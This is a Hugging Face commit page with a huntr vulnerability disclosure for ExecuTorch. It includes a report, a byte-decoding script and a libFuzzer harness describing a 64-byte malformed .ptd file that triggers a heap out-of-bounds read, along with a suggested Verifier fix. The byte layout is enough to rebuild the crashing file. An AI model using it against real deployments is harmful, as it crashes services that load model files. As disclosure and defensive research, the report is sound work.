tsk-arasu commited on
Commit
a9480da
·
verified ·
1 Parent(s): c6bc343

Upload folder using huggingface_hub

Browse files
REPORT.md ADDED
@@ -0,0 +1,167 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Heap-Buffer-Overflow Read in ExecuTorch FlatTensorDataMap::load() via Missing Flatbuffer Verifier (.ptd)
2
+
3
+ **Target:** ExecuTorch 1.3.1 (.pte / .ptd, huntr Model File Vulnerability program)
4
+ **Severity:** Medium (memory corruption / out-of-bounds read via malformed model file)
5
+ **CWE:** CWE-125 (Out-of-Bounds Read), CWE-20 (Improper Input Validation)
6
+ **Component:** `extension/flat_tensor/flat_tensor_data_map.cpp`
7
+ **Authentication Required:** No — the only requirement is that a victim application loads an attacker-supplied `.ptd` file.
8
+
9
+ ## Summary
10
+
11
+ `FlatTensorDataMap::load()` is the sole entry point for parsing ExecuTorch's `.ptd` (FlatTensor external-data) format. Unlike its sibling `Program::load()` (which parses the analogous `.pte` format and explicitly runs a `flatbuffers::Verifier` over the buffer before trusting it), `FlatTensorDataMap::load()` performs only a magic-byte check, an alignment check, and two non-null checks on top-level fields — it never verifies that the flatbuffer's internal offsets and vtables actually stay within the loaded buffer. A 64-byte `.ptd` file with a corrupted root-table offset causes `flatbuffers::Table::GetPointer` to read 8 bytes past the end of the buffer's heap allocation, crashing the process. This is a genuine out-of-bounds read (not merely a null-pointer check gap), matching huntr's Model File Vulnerability program's explicitly-listed "vulnerabilities in model file parsing leading to memory corruption" category.
12
+
13
+ ## Vulnerability Details
14
+
15
+ `runtime/executor/program.cpp`'s `Program::load()` — the `.pte` parser — does this correctly:
16
+
17
+ ```cpp
18
+ if (verification == Verification::InternalConsistency) {
19
+ flatbuffers::Verifier verifier(
20
+ reinterpret_cast<const uint8_t*>(program_data->data()),
21
+ program_data->size());
22
+ bool ok = executorch_flatbuffer::VerifyProgramBuffer(verifier);
23
+ ET_CHECK_OR_RETURN_ERROR(ok, InvalidProgram, "Verification failed; ...");
24
+ ...
25
+ ```
26
+
27
+ `extension/flat_tensor/flat_tensor_data_map.cpp`'s `FlatTensorDataMap::load()` — the `.ptd` parser — has no equivalent:
28
+
29
+ ```cpp
30
+ /* static */ Result<FlatTensorDataMap> FlatTensorDataMap::load(DataLoader* loader) {
31
+ // ... load header, check magic, check size ...
32
+
33
+ // Make sure magic matches.
34
+ if (!flat_tensor_flatbuffer::FlatTensorBufferHasIdentifier(flat_tensor_data->data())) {
35
+ return Error::InvalidExternalData;
36
+ }
37
+
38
+ // The flatbuffer data must start at an aligned address ...
39
+ ET_CHECK_OR_RETURN_ERROR(is_aligned(flat_tensor_data->data()), ...);
40
+
41
+ // Get pointer to root of flatbuffer table.
42
+ const flat_tensor_flatbuffer::FlatTensor* flat_tensor =
43
+ flat_tensor_flatbuffer::GetFlatTensor(flat_tensor_data->data()); // <-- no Verifier ran
44
+
45
+ // Validate flat_tensor.
46
+ ET_CHECK_OR_RETURN_ERROR(flat_tensor->named_data() != nullptr, ...); // <-- already dereferences untrusted offsets
47
+ ET_CHECK_OR_RETURN_ERROR(flat_tensor->segments() != nullptr, ...);
48
+ ...
49
+ ```
50
+
51
+ `GetFlatTensor()` and the subsequent `named_data()` / `segments()` accessor calls walk the flatbuffer's internal vtable and offset structures with **zero structural verification**. flatbuffers' own safety model depends entirely on a `Verifier` pass to guarantee that every offset/length embedded in the buffer stays within bounds before any accessor is trusted — `FlatTensorDataMap::load()` skips this pass entirely, unlike `Program::load()` in the same codebase.
52
+
53
+ ## Steps to Reproduce
54
+
55
+ ### Environment
56
+ Same sanitized ExecuTorch 1.3.1 build and harness as REPORT-01 (see that report's Steps 1–2, identical build commands and harness). This report reuses the exact same `poc/harness_flat_tensor_fuzzer.cpp`.
57
+
58
+ ### 1. PoC file
59
+
60
+ `poc/poc_oob_read_missing_verifier.ptd` (64 bytes, **included in this report — sha256 `3d955721ff41ead7dc52eff62fcd3dc7fd0a355a197f263304385ca8fdee3dd3`**) was produced by coverage-guided fuzzing of the harness against the sanitized build, then reduced to a minimal reproducer with libFuzzer's built-in `-minimize_crash=1`. Full byte-level annotation (`poc/decode_poc.py`, included):
61
+
62
+ ```
63
+ [0:4] root_offset (of the inner flatbuffer payload) = 72 (0x48)
64
+ [4:8] flatbuffer file_identifier = b'FT01'
65
+ [8:12] FlatTensorHeader magic = b'FH01'
66
+ [12:16] FlatTensorHeader.length = 40
67
+ [16:24] FlatTensorHeader.flatbuffer_offset = 48
68
+ [24:32] FlatTensorHeader.flatbuffer_size = 0
69
+ [32:40] FlatTensorHeader.segment_base_offset = 0
70
+ [40:48] FlatTensorHeader.segment_data_size = 0
71
+ [48:64] trailing bytes (unused padding/garbage) = 01000011111111110000010011111111
72
+
73
+ Loaded flatbuffer segment length = flatbuffer_offset + flatbuffer_size = 48 + 0 = 48 bytes
74
+ Root table offset stored in the file = 72
75
+
76
+ *** root_offset (72) EXCEEDS the loaded flatbuffer segment length (48) ***
77
+ ```
78
+
79
+ The file passes every check `FlatTensorDataMap::load()` actually performs — magic bytes are correct (`FH01`/`FT01`), the outer header parses cleanly, the buffer is aligned, and the file is large enough. The **only** thing wrong with it is that the flatbuffer's own root-table offset (`72`) points past the 48 bytes of flatbuffer payload that were actually loaded — exactly the kind of corruption a `flatbuffers::Verifier` exists to catch, and exactly what `Program::load()` catches for `.pte` files but `FlatTensorDataMap::load()` does not catch for `.ptd` files.
80
+
81
+ Regenerate/verify with:
82
+ ```bash
83
+ python3 poc/decode_poc.py poc/poc_oob_read_missing_verifier.ptd
84
+ sha256sum poc/poc_oob_read_missing_verifier.ptd
85
+ # 3d955721ff41ead7dc52eff62fcd3dc7fd0a355a197f263304385ca8fdee3dd3
86
+ ```
87
+
88
+ ### 2. Build the harness
89
+
90
+ Identical to REPORT-01 Step 2 (same `poc/harness_flat_tensor_fuzzer.cpp`, same build commands).
91
+
92
+ ### 3. Trigger the crash
93
+
94
+ ```bash
95
+ export ASAN_OPTIONS="abort_on_error=1:symbolize=0"
96
+ export UBSAN_OPTIONS="halt_on_error=1:print_stacktrace=0"
97
+ ./poc_harness -timeout=5 -runs=0 poc/poc_oob_read_missing_verifier.ptd
98
+ ```
99
+
100
+ ### Expected result (secure behavior)
101
+ `FlatTensorDataMap::load()` should reject this file with a clean `Error::InvalidExternalData` (or similar), since the flatbuffer's root offset is provably inconsistent with the loaded segment size.
102
+
103
+ ### Actual result
104
+
105
+ ```
106
+ Running: poc/poc_oob_read_missing_verifier.ptd
107
+ =================================================================
108
+ ==<pid>==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000000128 at pc <addr>
109
+ READ of size 4 at 0x506000000128 thread T0
110
+ #0 flatbuffers::Table::GetPointer<...>(unsigned short) [flatbuffers/table.h:43,61]
111
+ #1 (inlined caller within FlatTensorDataMap::load / named_data())
112
+ #2 LLVMFuzzerTestOneInput
113
+ 0x506000000128 is located 8 bytes after a 64-byte region [0x5060000000e0,0x506000000120)
114
+ allocated by thread T0 here:
115
+ #0 ... malloc ...
116
+ #1 ... (buffer allocation for the loaded flatbuffer segment)
117
+ SUMMARY: AddressSanitizer: heap-buffer-overflow
118
+ ```
119
+
120
+ The process crashes with a heap-buffer-overflow **READ of size 4, exactly 8 bytes past the end of a 64-byte heap allocation**, inside `flatbuffers::Table::GetPointer` — called while `FlatTensorDataMap::load()` resolves the `named_data` field on the corrupted root table.
121
+
122
+ **Reproduced 3/3 identical runs** (re-verified live for this report):
123
+ ```
124
+ run 1: ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000000128
125
+ run 2: ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000000128
126
+ run 3: ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000000128
127
+ ```
128
+
129
+ ## Impact
130
+
131
+ **Who is affected:** Any application or deployment pipeline that embeds ExecuTorch's `extension/flat_tensor` component and calls `FlatTensorDataMap::load()` on an externally-supplied `.ptd` file — the single public entry point for parsing this format. This crash occurs during `load()` itself, before any per-key API is even reached, so **every** consumer of this format is affected, not just ones that call specific follow-up methods.
132
+
133
+ **What the attacker can do:** Cause a deterministic, repeatable out-of-bounds heap read (crash under ASan; undefined behavior in an unsanitized build — typically a `SIGSEGV`, or in principle a read of adjacent heap content that flows into further pointer/offset arithmetic) simply by supplying a 64-byte malformed `.ptd` file. The demonstrated consequence is a crash. This report does **not** claim arbitrary code execution or a proven information-disclosure chain — no secondary PoC beyond the OOB read itself was built, and claiming more than what was demonstrated would be overclaiming.
134
+
135
+ **What's at risk:** Availability of the process loading the file, confirmed. Confidentiality is a *theoretical* secondary risk only (the OOB-read byte value could in principle influence later behavior in an observable way) — not demonstrated in this report.
136
+
137
+ **Exploitation complexity:** No interaction beyond the victim loading the file. Purely a file-format parsing bug.
138
+
139
+ **Why Medium, not Critical:** This is a genuine memory-safety defect (distinguishing it from the null-pointer-dereference class of findings in this codebase), but only a crash was proven — no controlled write, no demonstrated information leak, no code execution. Per huntr's own severity framing, this sits in "memory corruption via malformed model file," a real and impactful class, but below the bar for Critical/ACE without a further chained PoC.
140
+
141
+ ## Suggested Remediation
142
+
143
+ In `FlatTensorDataMap::load()`, after loading the flatbuffer payload and before calling `GetFlatTensor()` / `named_data()` / `segments()`, construct a `flatbuffers::Verifier` over the loaded buffer and call the schema-generated `VerifyFlatTensorBuffer()`, returning `Error::InvalidExternalData` on failure — mirroring the pattern already correctly implemented in `runtime/executor/program.cpp`'s `Program::load()`:
144
+
145
+ ```cpp
146
+ flatbuffers::Verifier verifier(
147
+ reinterpret_cast<const uint8_t*>(flat_tensor_data->data()),
148
+ flat_tensor_data->size());
149
+ ET_CHECK_OR_RETURN_ERROR(
150
+ flat_tensor_flatbuffer::VerifyFlatTensorBuffer(verifier),
151
+ InvalidExternalData,
152
+ "FlatTensor buffer failed verification; data may be truncated or corrupt.");
153
+ ```
154
+
155
+ Given that `.ptd` files are, by this program's own threat model, expected to potentially come from untrusted sources (external weight files), this verification should be unconditional rather than opt-in, unlike `.pte`'s `Verification` enum which allows skipping verification for co-packaged, presumably-trusted data.
156
+
157
+ A regression test should load a truncated/corrupted `.ptd` flatbuffer payload (valid outer header, corrupted root offset as in this PoC) and assert `FlatTensorDataMap::load()` returns a clean `Error` rather than crashing under ASan.
158
+
159
+ ## Files Included in This Report
160
+
161
+ - `poc/poc_oob_read_missing_verifier.ptd` — the 64-byte PoC file (sha256 `3d955721ff41ead7dc52eff62fcd3dc7fd0a355a197f263304385ca8fdee3dd3`)
162
+ - `poc/decode_poc.py` — byte-level annotation script, shows exactly which field is corrupted and why
163
+ - `poc/harness_flat_tensor_fuzzer.cpp` — the harness used to trigger and reproduce the crash (identical to REPORT-01's harness — same binary can reproduce both PoCs)
164
+
165
+ ## huntr Submission Note
166
+
167
+ Per the huntr MFV program's submission requirements, this PoC needs to be uploaded to a public HuggingFace repository before filing. `poc/poc_oob_read_missing_verifier.ptd` is ready for that upload.
poc/decode_poc.py ADDED
@@ -0,0 +1,39 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Byte-level annotation of poc_oob_read_missing_verifier.ptd (64 bytes).
3
+ Run: python3 decode_poc.py poc_oob_read_missing_verifier.ptd
4
+ """
5
+ import struct
6
+ import sys
7
+
8
+ with open(sys.argv[1] if len(sys.argv) > 1 else "poc_oob_read_missing_verifier.ptd", "rb") as f:
9
+ data = f.read()
10
+
11
+ assert len(data) == 64, f"expected 64 bytes, got {len(data)}"
12
+
13
+ root_offset = struct.unpack_from("<I", data, 0)[0]
14
+ fb_identifier = data[4:8]
15
+ fh_magic = data[8:12]
16
+ header_len = struct.unpack_from("<I", data, 12)[0]
17
+ fb_offset = struct.unpack_from("<Q", data, 16)[0]
18
+ fb_size = struct.unpack_from("<Q", data, 24)[0]
19
+ seg_base = struct.unpack_from("<Q", data, 32)[0]
20
+ seg_size = struct.unpack_from("<Q", data, 40)[0]
21
+
22
+ print(f"[0:4] root_offset (of the inner flatbuffer payload) = {root_offset} (0x{root_offset:x})")
23
+ print(f"[4:8] flatbuffer file_identifier = {fb_identifier!r}")
24
+ print(f"[8:12] FlatTensorHeader magic = {fh_magic!r}")
25
+ print(f"[12:16] FlatTensorHeader.length = {header_len}")
26
+ print(f"[16:24] FlatTensorHeader.flatbuffer_offset = {fb_offset}")
27
+ print(f"[24:32] FlatTensorHeader.flatbuffer_size = {fb_size}")
28
+ print(f"[32:40] FlatTensorHeader.segment_base_offset = {seg_base}")
29
+ print(f"[40:48] FlatTensorHeader.segment_data_size = {seg_size}")
30
+ print(f"[48:64] trailing bytes (unused padding/garbage) = {data[48:64].hex()}")
31
+ print()
32
+ loaded_flatbuffer_len = fb_offset + fb_size
33
+ print(f"Loaded flatbuffer segment length = flatbuffer_offset + flatbuffer_size = {fb_offset} + {fb_size} = {loaded_flatbuffer_len} bytes")
34
+ print(f"Root table offset stored in the file = {root_offset}")
35
+ if root_offset > loaded_flatbuffer_len:
36
+ print(f"*** root_offset ({root_offset}) EXCEEDS the loaded flatbuffer segment length ({loaded_flatbuffer_len}) ***")
37
+ print("This is the corrupted field that FlatTensorDataMap::load() never validates:")
38
+ print("no flatbuffers::Verifier runs, so GetFlatTensor()/field accessors trust this")
39
+ print("out-of-range offset and walk memory past the end of the loaded buffer.")
poc/harness_flat_tensor_fuzzer.cpp ADDED
@@ -0,0 +1,56 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // libFuzzer harness for executorch::extension::FlatTensorDataMap::load()
2
+ // Targets the .ptd flatbuffer parsing path (extension/flat_tensor/flat_tensor_data_map.cpp).
3
+ // Authorized local testing only - huntr MFV scope: ExecuTorch .pte/.ptd parser.
4
+
5
+ #include <cstddef>
6
+ #include <cstdint>
7
+
8
+ #include <executorch/extension/data_loader/buffer_data_loader.h>
9
+ #include <executorch/extension/flat_tensor/flat_tensor_data_map.h>
10
+ #include <executorch/runtime/platform/runtime.h>
11
+
12
+ using executorch::extension::BufferDataLoader;
13
+ using executorch::extension::FlatTensorDataMap;
14
+
15
+ static bool g_initialized = false;
16
+
17
+ extern "C" int LLVMFuzzerTestOneInput(const std::uint8_t* data, std::size_t size) {
18
+ if (!g_initialized) {
19
+ executorch::runtime::runtime_init();
20
+ g_initialized = true;
21
+ }
22
+
23
+ constexpr std::size_t kMaxInput = 32U * 1024U * 1024U;
24
+ if (data == nullptr || size == 0 || size > kMaxInput) {
25
+ return 0;
26
+ }
27
+
28
+ BufferDataLoader loader(data, size);
29
+ auto map = FlatTensorDataMap::load(&loader);
30
+ if (!map.ok()) {
31
+ return 0;
32
+ }
33
+
34
+ auto& m = map.get();
35
+ auto num_keys_res = m.get_num_keys();
36
+ if (num_keys_res.ok()) {
37
+ uint32_t n = num_keys_res.get();
38
+ // Bound the loop - malicious n could be huge but get_key() range-checks it.
39
+ uint32_t iter = n > 4096 ? 4096 : n;
40
+ for (uint32_t i = 0; i < iter; ++i) {
41
+ auto key_res = m.get_key(i);
42
+ if (key_res.ok()) {
43
+ auto layout = m.get_tensor_layout(executorch::aten::string_view(key_res.get()));
44
+ if (layout.ok()) {
45
+ (void)layout.get().nbytes();
46
+ }
47
+ auto data_res = m.get_data(executorch::aten::string_view(key_res.get()));
48
+ if (data_res.ok()) {
49
+ data_res.get().Free();
50
+ }
51
+ }
52
+ }
53
+ }
54
+
55
+ return 0;
56
+ }
poc/poc_oob_read_missing_verifier.ptd ADDED
Binary file (64 Bytes). View file